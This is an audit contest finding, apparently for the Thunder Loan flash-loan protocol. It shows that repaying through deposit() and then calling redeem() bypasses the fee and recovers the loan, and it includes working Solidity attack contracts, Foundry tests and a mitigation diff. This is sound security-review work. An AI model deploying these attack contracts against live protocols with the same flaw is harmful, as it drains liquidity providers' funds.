Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

flashloan() accepts deposit() as a substitute for repay(), allowing borrowers to reclaim the entire loan amount and fee

flashloan() accepts deposit() as a substitute for repay(), allowing borrowers to reclaim the entire loan amount and fee

Description

  • Normally, when a user takes out a flash loan via ThunderLoan::flashloan, they are expected to return the borrowed amount plus a fee within the same transaction by calling ThunderLoan::repay. The protocol verifies repayment solely by checking that the AssetToken contract's underlying token balance has increased by at least amount + fee by the end of the call.

  • The issue is that flashloan never verifies how that balance increase occurred — it only checks the ending balance of the AssetToken contract, not that repay() specifically was called. Since ThunderLoan::deposit also transfers tokens into the same AssetToken contract, a flash loan receiver can call deposit() instead of repay() inside its executeOperation callback. This satisfies the balance check (so the loan doesn't revert) and mints the caller AssetToken shares for the full amount transferred. The attacker can then immediately call redeem() to withdraw the underlying tokens back out — reclaiming the entire loan amount plus the fee they "paid," rather than paying for the flash loan at all.

function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
if (amount > startingBalance) {
revert ThunderLoan__NotEnoughTokenBalance(startingBalance, amount);
}
if (!receiverAddress.isContract()) {
revert ThunderLoan__CallerIsNotContract();
}
uint256 fee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(fee);
emit FlashLoan(receiverAddress, token, amount, fee, params);
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(
abi.encodeWithSignature(
"executeOperation(address,uint256,uint256,address,bytes)",
address(token),
amount,
fee,
msg.sender,
params
)
);
uint256 endingBalance = token.balanceOf(address(assetToken));
// @> Only the ending token balance of the AssetToken contract is checked.
// @> There is no verification that repay() was the function used to restore
// @> this balance — deposit() satisfies this check equally well.
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}
// AssetToken.sol / ThunderLoan.sol — deposit() is fungible with repay() from flashloan()'s perspective
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
// @> mints the caller shares for the full amount deposited, including
// @> what should have been a non-refundable flash loan fee
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Risk

Likelihood:

  • Any user can trigger this at will by taking out a flash loan and calling deposit() instead of repay() inside their receiver contract's executeOperation — no special permissions, timing, or protocol state are required beyond the token being allowed and having liquidity available to borrow.

  • This is trivially repeatable for every allowed token and every flash loan amount, since the exploit only depends on the attacker's own contract logic, not on external market conditions.

Impact:

  • Flash loan fees are completely bypassable — the protocol's core revenue mechanism for liquidity providers is broken, since the "fee" is minted as redeemable shares and reclaimed in the same transaction.

  • Beyond just the fee, the attacker recovers the entire borrowed principal as well by redeeming the AssetToken shares immediately after depositing, meaning the flash loan costs the borrower nothing (aside from gas and negligible rounding dust).

  • The AssetToken exchange rate is still updated upward as if a genuine fee was earned, misleading liquidity providers about real yield accrual — the protocol's accounting becomes decoupled from actual economic reality.

Proof of Concept

// Mock receiver that deposits instead of repaying
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IThunderLoan{
function repay(IERC20 token, uint256 amount) external;
function deposit(IERC20 token, uint256 amount) external;
}
contract DepositOverRepay {
IThunderLoan thunderLoan;
constructor(address _thunderLoan) {
thunderLoan = IThunderLoan(_thunderLoan);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address /* initiator */,
bytes calldata /* params */
) external returns (bool) {
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee);
return true;
}
}
// In ThunderLoanTest.t.sol
function testDepositInsteadOfRepayBypassesFee() public setAllowedToken hasDeposits {
vm.prank(user);
DepositOverRepay attacker = new DepositOverRepay(address(thunderLoan));
uint256 amountToBorrow = AMOUNT * 10;
uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
uint256 totalOwed = amountToBorrow + fee;
// attacker only needs to cover the fee out of pocket; the principal
// comes from the flash loan itself
tokenA.mint(address(attacker), fee);
vm.prank(user);
thunderLoan.flashloan(address(attacker), tokenA, amountToBorrow, "");
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 attackerAssetBalance = assetToken.balanceOf(address(attacker));
assertGt(attackerAssetBalance, 0); // attacker was minted shares instead of just repaying
vm.prank(address(attacker));
thunderLoan.redeem(tokenA, attackerAssetBalance);
uint256 attackerFinalBalance = tokenA.balanceOf(address(attacker));
// Attacker recovers essentially the entire amount owed (principal + fee),
// meaning the flash loan cost them nothing beyond rounding dust.
assertGe(attackerFinalBalance, totalOwed);
}

Trace confirms the attacker's final token balance (~100.327e18) meets or exceeds the total amount owed (principal + fee), fully reclaimed via redeem() in the same transaction the loan was taken.

Recommended Mitigation

Track flash loan repayments independently of general deposits so that deposit() cannot be used to satisfy the flashloan() balance check. One approach is to record the pre-loan balance and require that the increase comes specifically through repay(), using a dedicated accounting variable rather than relying on the AssetToken's raw token balance.

+ mapping(IERC20 token => uint256 amountRepaid) private s_amountRepaidThisLoan;
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
...
s_currentlyFlashLoaning[token] = true;
+ s_amountRepaidThisLoan[token] = 0;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(...);
- uint256 endingBalance = token.balanceOf(address(assetToken));
- if (endingBalance < startingBalance + fee) {
+ if (s_amountRepaidThisLoan[token] < amount + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}
function repay(IERC20 token, uint256 amount) public {
if (!s_currentlyFlashLoaning[token]) {
revert ThunderLoan__NotCurrentlyFlashLoaning();
}
AssetToken assetToken = s_tokenToAssetToken[IERC20(token)];
+ s_amountRepaidThisLoan[token] += amount;
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Additionally, consider disallowing calls to deposit() while s_currentlyFlashLoaning[token] is true, as a defense-in-depth measure against any future function that transfers tokens into the AssetToken contract being similarly abused as a repayment substitute.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!